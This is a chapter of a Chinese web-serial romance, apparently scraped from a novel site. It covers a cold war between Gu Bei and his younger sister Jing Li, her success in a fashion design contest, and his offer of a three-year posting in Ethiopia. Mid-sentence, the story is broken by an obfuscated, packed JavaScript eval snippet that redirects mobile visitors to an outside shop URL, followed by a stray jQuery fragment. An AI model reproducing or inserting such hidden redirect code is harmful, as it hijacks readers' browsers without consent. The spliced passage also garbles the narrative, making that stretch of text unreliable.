43.冷战
    chapter 43

    顾北将拖鞋清洗干净,摆在荆梨卧室门口,她出来就能看见的位置。

    他在用这种方式向她道歉。

    不一会儿,订的午餐到了,顾北装盘摆好,接着去敲荆梨的房门。

    “小梨,出来吃饭了。”

    无人回应。

    顾北皱了皱眉,又敲了两下:“快点出来,再不吃菜就凉了。”

    依然没有动静。

    顾北叹了口气,耐着性子喊她:“荆梨。”

    “我不饿,你们俩吃吧。”

    里头终于传来女孩没什么起伏的声音。

    你们俩?

    哪来的俩。

    顾北一时没反应过来,等他回味出荆梨的意思,不禁轻笑:“我让她走了。”

    屋里陷入长久的沉默。

    “我订的是你最爱吃的那家餐厅,有你喜欢的芥末虾和意面,你要是不饿的话那我就不客气了……”

    他话还没说完,房门被突然打开,荆梨看也没看他,径直朝餐厅的方向走去。

    只不过在看见地上的拖鞋时,她的脚步停顿了一下。

    “给她穿这双拖鞋是我不对,以后这种低级错误哥哥不会再犯了。”

    身后响起男人低沉的嗓音。

    可荆梨并不领情,她继续朝前走,撂下冷淡的一句:“你的承诺我已经不敢再信了。”

    顾北闻言一怔,眸光随之黯淡。

    二人各怀心事,一顿饭吃下来竟一句话也没说。

    经过这段时间的休养,荆梨扭伤的脚踝好得差不多了,除了不能跑步和蹦跳,走起来与寻常无异。

    收拾完桌上的残羹冷炙,顾北拿出喷雾帮她喷最后一遍药,嘴里还不忘叮嘱她以后洗澡一定要注意脚下。

    望着男人认真的侧脸,荆梨低声道:“既然我的脚已经好了,那以后就不需要你再来接我上下学了。”

    顾北动作一顿,抬眸沉沉地望向她。

    荆梨低睫不看他,表现得若无其事:“我还像以前那样自己打车,你早上还能多睡会。”

    “觉得我妨碍到你的自由了?”

    男人沉默半晌,忽然冒出这么一句。

    荆梨感到莫名,不明白这二者之间有什么关系。

    但很快她就理解了顾北的意思——他的接送妨碍到她下课出去玩了。

    荆梨无力辩解,索性破罐破摔:“是有点。”

    顾北起身,居高临下地看着她:“随你。”

    说罢,准备回屋。

    脚刚迈出一步,他听到女孩又对他说:“我觉得辛小姐人挺好的。”

    顾北眉头轻皱,扭头瞥向她,不懂她这突然的转折是什么意思。

    荆梨冲他笑笑:“如果她做我的嫂子,我没什么意见。”

    顾北霎时沉下脸,语气冰冷,哑声问:“你到底要干什么?”

    荆梨耸肩,一脸无辜:“我没要干什么呀。”

    “不想我结婚的是你,现在暗示我结婚的还是你。”男人腮颊鼓动,显然在强忍怒火,“荆梨,你到底要我怎么做才能满意?”

    “那天破坏你相亲是我做的不对,我不懂事。”荆梨顿了顿,眼里一片猩红,她深吸口气,尽量让自己的声音听起来是正常的,“结婚本来就是你自己的事,我没资格插手,我知道错了,以后不管你是相亲还是恋爱,我都举双手赞成。”

    话音落地,空气陷入死一般的寂静。

    四目相对,顾北眼里猩红一片,胸膛上下起伏,他就这么直勾勾地盯着她,眸光浮动,眼神竟透出令人揪心的破碎。

    荆梨淡淡移开视线,唇却抿得很紧,微微颤抖。

    “砰”一声,男人将门关得格外响。

    他少有的情绪外泄。

    荆梨强装的平静瞬间消失。

    她双眼无神地垂耷着,下一秒,抬手捂住自己的脸,身子往后一倒,整个人陷进沙发里。

    眼泪无声地沁润指缝。

    在看到顾北与辛恬一起出现在厨房时,有一个她一直不愿面对,却疯狂折磨着她的念头逐渐明晰,令她难以继续忽视。

    其实从那晚顾北在她床边许下一辈子守着她的承诺开始,这个念头就产生了。

    那就是……放过顾北。

    顾北也该有他自己的人生。

    如果真像他说的那样,一辈子不结婚,陪着她,守着她,孤独终老,那对他来说,实在太残忍了。

    他们从一开始就不是一路人,命运偏偏将他们绑在一起,像两块不匹配的拼图,若她偏要强求,那结果注定有一人要残缺。

    她不要顾北过得不好。

    所以痛苦,所以遗憾,所以不得不……放手。

    回归普通的兄妹关系,看着他与别人组成自己的小家,往后漫长的人生不再孤单。

    对她而言,何尝不是另一种幸福。

    -

    那天之后,二人开始了一场没头没脑的冷战。

    说不清缘由和对错。

    就是莫名地减少了交流。

    或许也有年末将至的原因。

    设计院项目进度催紧,学校期末加上服装设计大赛。

    二人忙得像不停旋转的陀螺,沿着各自的轨迹朝前走,只有在夜晚才能短暂交汇。

    可即便在客厅碰到了,顾北出声前荆梨便会转身走开,姿态比陌生人还要冷淡。

    盯着女孩的背影,脑海中划过她漠然的眼神,顾北感觉心脏仿佛被狠狠剜下了一块,血淋淋的,呼吸都牵扯着疼。

    他当然能感受到荆梨在故意远离他。

    但原因是什么?

    难道仅仅因为那双拖鞋吗。

    还是因为……他借着酒醉偷来的吻。

    思及此,顾北脸上弥漫出痛苦茫然的神色,恍惚呆立许久,他才慢慢缓过神。

    时间一晃来到十二月,设计大赛的初赛结果也出来了,荆梨以高分的成绩顺利进入下一赛段,在一众大一的选手中脱颖而出,成为夺冠的热门人选。

    别的选手一般都是先设计衣服,再寻找模特,上场前根据模特的身形改改尺寸。

    模特的功能只剩展示,像没有灵魂的衣架子。

    这便是荆梨与他们产生区别的所在。

    她设计的衣服和她模特的气质高度契合。

    易梓薇身量娇小,五官甜美,性格外向,是典型的高能量高磁场的小美女。

    她不需要精致繁杂的束缚,“野蛮生长”这四个字便能概括她的独特。

    秉持着这一特性,荆梨亲手为她做了身轻盈的粉色露肩蓬蓬裙,搭配自然野生感妆容,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049641|141594||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    简单披散长发,哪怕她连正经台步也不会走,只要像只小蝴蝶般自信出场,就能吸引全场目光,让人不自觉跟随她的一举一动,再也挪不开眼。

    当评委老师公布成绩的那一刻,后台这边,易梓薇尖叫着抱住荆梨,接着又仰脸大哭,抽抽搭搭地说:“吓死我了,我好怕拖累你,把你做的裙子给穿丑了呜呜呜……”

    荆梨哭笑不得,安慰她:“好了好了不哭了,这不多亏易大小姐出山,不然我还拿不到这么高的分呢。”

    她说的实话,初赛中艺术性和创新性比她高的作品并不少,但他们的模特都不如易梓薇穿得好看,她拿的分里也有讨巧的部分存在。

    易梓薇听不进去,哭起来没完没了,引得周围人投来不满的视线。

    有个叫蒋茜的选手许是因为分比较低,擦着线进入的复赛,心里正不痛快呢,再被易梓薇一吵,顿时烦躁不已,阴阳怪气地说:“不就初赛拿了个最高分嘛,得意什么呀,万一复赛被刷掉不得哭晕过去。”

    场面微微凝滞。

    荆梨兴味地挑了挑眉,暗道什么鬼热闹找上门了。

    不等她出手,刚还哭成泪人的易梓薇瞬间收声,叉腰怼回去:“你也知道我们拿最高分啊,听你这口气,你分应该也挺高的吧,说出来吓死我啊。”

    蒋茜脸一红:“你!”

    易梓薇哼了声,鼻孔看人,一脸小人得志,mean得人拳头发痒。

    荆梨憋笑,赶忙拉着人从后台跑了,生怕晚一步易梓薇就会被围殴。

    同一时间,设计院最大的会议室内刚结束一场研讨会。

    顾北收拾好面前的资料,起身正要走,却被领导留了下来。

    “小顾啊,有件事想询问一下你的意见。”周工示意他坐下。

    顾北微微颔首:“询问不敢当,您有事直接吩咐就成。”

    周工笑了笑,将一份文件递给他:“你先看看这个。”

    顾北闻言翻开文件夹,看到上头的内容后,表情微变。

    “在埃塞俄比亚首都建一栋疾控中心大楼,国家重点援非项目。”

    顾北点点头,看向他:“您的意思是?”

    周工也不跟他拐弯抹角了:“除你之外我实在找不出第二个可以胜任此项目的总负责人。”

    顾北垂眸,没吭声。

    周工继续道:“你才三十不到,年轻又有才华,出去历练一番,把这个项目做好,回来后职级直升总设计师。”

    瞧出男人的迟疑,周工微微后仰,手指敲了敲桌面,问:“你是有什么顾虑吗?如果涉及钱的话,那不算问题。”

    “跟钱没关系。”顾北问,“一期项目结束要多少年?”

    周工:“起码三年。”

    顾北阖上眼,抬手摘下眼镜,捏了捏高挺的鼻梁,嗓音染着疲惫:“我妹妹今年刚上大学,我这一走她怎么办?我放心不下。”

    周工见他是因为妹妹才迟迟不答应,不由失笑道:“孩子都成年了,你有什么好放心不下的,每个月寄笔钱,过年过节买点礼物哄一哄,再说了,现在的小孩都有自己的主意,巴不得没人管呢。”

    “我家那个小孩不一样。”顾北叹声说。

    “哪不一样?”

    顾北默了默,眸光微黯,嘶哑道:“她生气了就哄不好了。”